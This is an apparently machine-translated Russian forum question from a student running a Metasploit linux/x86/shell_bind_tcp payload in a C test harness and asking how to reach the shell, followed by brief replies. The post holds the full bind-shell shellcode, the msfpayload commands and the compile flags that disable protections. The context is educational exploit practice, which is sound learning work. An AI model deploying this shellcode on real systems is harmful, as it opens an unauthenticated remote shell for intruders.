Я запускаю полезную нагрузку Metasploit в программе песочницы c.Как запустить linux/x86/shell_bind_tcp полезную нагрузку отдельно?
Ниже приведено резюме полезной нагрузки. Оттуда я генерирую некоторый шеллкод и загружаю его в свою песочницу, но когда я его запустил, программа будет просто ждать. Я думаю, что это потому, что он ждет соединения для отправки оболочки, но я не уверен.
Как бы идти от:
- Генерация шелкодов
- загружая его в моей песочнице
- Успешно получить
/bin/sh
оболочки < - это та часть, я застрял на.
Базовая настройка:
[email protected]:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp S
[sudo] password for max:
Name: Linux Command Shell, Bind TCP Inline
Module: payload/linux/x86/shell_bind_tcp
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 200
Rank: Normal
Provided by:
Ramon de C Valle <[email protected]>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Description:
Listen for a connection and spawn a command shell
Генерация Шеллкод:
[email protected]:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
Песочница программа с шеллкода:
#include<stdio.h>
#include<string.h>
/*
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
*/
unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
компилировать и запускать. Тем не менее, это то, где я не знаю, как получить /bin/sh
оболочки:
[email protected]:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
[email protected]:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
(program waiting here...waiting for a connection?)
Edit:
В терминале один запуске программы шеллкода:
[email protected]:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
Теперь в два терминала , Я проверяю прослушиватели tcp. Предоставление -n
для подавления разрешения имени узла, -t
для tcp, -l
для слушателей и -p
для просмотра названий программ.
я могу увидеть программу шеллкода на порту 4444:
[email protected]:~$ sudo netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 14885/shellcode
[email protected]:~$
Подключение telnet
, и кажется, что он был успешным, но до сих пор нет sh
оболочки.
[email protected]:~$ telnet 0.0.0.0 4444
Trying 0.0.0.0...
Connected to 0.0.0.0.
Escape character is '^]'.
Как получить sh
оболочку?
Вы пытались подключиться к порту 4444? – rc0r
Я не уверен, как подключиться. Я попытался войти в ssh с помощью $ ssh [email protected] -p 4444. Однако ничего не произошло, поэтому я не уверен, какой инструмент я должен использовать для фактического подключения. – mbigras
Возможно, вы захотите проверить, открыт ли порт (используйте 'netstat'). Если это попытка 'telnet'. – rc0r